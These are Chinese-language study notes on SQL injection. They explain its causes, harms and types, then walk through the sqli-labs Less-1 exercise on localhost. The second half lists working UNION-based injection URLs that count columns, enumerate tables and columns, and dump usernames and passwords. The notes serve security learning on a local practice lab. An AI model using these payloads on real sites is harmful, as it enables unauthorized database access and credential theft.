Web安全攻防 学习笔记
一、SQL 注入原理
1.1、介绍 SQL 注入
SQL 注入就是指 web 应用程序对用户输入数据的合法性没有判断,前端传入后端的参数是攻击者可控的,并且参数代入数据库查询,攻击者可以通过构造不同的 SQL 语句来实现对数据库任意操作。
SQL 注入漏洞的产生需要满足两个条件:
-
参数用户可控
-
参数带入数据库查询,传入的参数拼接到SQL语句,并且带入数据库查询
1.2、注入的危害
-
数据库敏感信息泄露
-
页面被窜改
-
数据库被恶意操作
-
服务器被远程控制
1.3、注入的分类
- 根据注入位置数据类型可将 SQL 注入分为两类(其实原理都是一样的,就是使原语句失效):
- 数字注入,如
id=xx
注入为id=-1 or 1=1
- 字符串注入
- 数字注入,如
select * from users where username = '' and password = '';
注入字符串 xxx' or 1=1 --+ ; 其中 -- 为注释 + 在浏览器中表示空格, 可以使后面的语句失效
select * from users where username = 'xxx' or 1=1 --' and password = '';
- 根据返回结果可以分为:
- 显错注入( error-based )
- 盲注( boolean/time-based blind )
1.4、SQL 注入的形成原因
-
数据与代码未严格分离
-
用户提交的参数数据未做充分检查过滤及被带入到 SQL 命令中,改变了原有 SQL 命令的 " 语义 " ,且成功被数据库执行
1.5、SQL 注入过程
-
客户端参数值等数据被修改
-
服务端未经检查和过滤就将被修改的数据注入到 SQL 命令中,SQL 命令功能被修改
-
数据库引擎执行被修改后的 SQL 命令
-
服务端将注入的结果返回给客户端
-
客户端根据上一次注入获取到的敏感信息构造注入语句进行进一步注入
火狐浏览器 hackbar 插件安装
https://blog.csdn.net/wdsj_xh/article/details/97511285
一、SQL 注入
1.1、GET 和 POST 请求
-
GET 提交,请求的数据会附在URL之后(就是把数据放置在 HTTP 协议头中),以
?
分割 URL 和传输数据,多个参数用&
连接 -
POST提交:把提交的数据放置在是 HTTP 包的包体中。
因此,GET 提交的数据会在地址栏中显示出来,而 POST 提交,地址栏不会改变。
1.2、get 基于报错的 SQL 注入
通过 url 中修改对应的 ID 值,为正常数字、字符(单引号,双引号,括号)、反斜线来探测 url 中是否存在注入点。
例如:
http://127.0.0.1/sqli/Less-1/?id=1
# 可以正常访问
http://127.0.0.1/sqli/Less-1/?id=1'
# 报错信息 ''1'' LIMIT 0,1'
# 其中 '1'' LIMIT 0,1 未报错内容
# 容易发现, sql 语句的 id 值可能是使用 ' ' 括起来的
报错注入利用:
- order by 判断字段数
根据 order by 的语法order by 1
表示按照表的第一个字段排序,可以探测出当前表有多少给字段。
# 根据测试得知有 3 个字段
http://127.0.0.1/sqli/Less-1/?id=1' order by 4 --+
# 报错信息
Unknown column '4' in 'order clause'
- 利用 union select 联合查询,获取表名
获得表的字段数后可以进行下一步探测
# 使用时, 尽量使 id 值不要生效
http://127.0.0.1/sqli/Less-1/?id=0' union select 1,2,3 --+
# 得知在 2, 3 处存在注入点
# 所以可以用函数替换它们
http://127.0.0.1/sqli/Less-1/?id=0' union select 1,user(),database() --+
http://127.0.0.1/sqli/Less-1/?id=0' union select 1,version(),database() --+
获取表名:
mysql 有一个默认数据库 information_schema,用于存储各种数据库啊表啊什么的,可以利用一下。
http://127.0.0.1/sqli/Less-1/?id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
# group_concat 把查询出来的表名放在一起显示出来, 可以不用这个函数看一下结果
http://127.0.0.1/sqli/Less-1/?id=0' union select 1,table_name,3 from information_schema.tables where table_schema=database() --+
- 利用 union select 联合查询,获取字段名
http://127.0.0.1/sqli/Less-1/?id=0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name="users" --+
为什么有这么多个?
因为它返回的并不只是一个数据库的 users 表的字段名,而是整一个 mysql 中的所有名为 users 的表的字段名。
- 利用 union select 联合查询,获取字段值
http://127.0.0.1/sqli/Less-1/?id=0' union select 1,group_concat(username,password),3 from users --+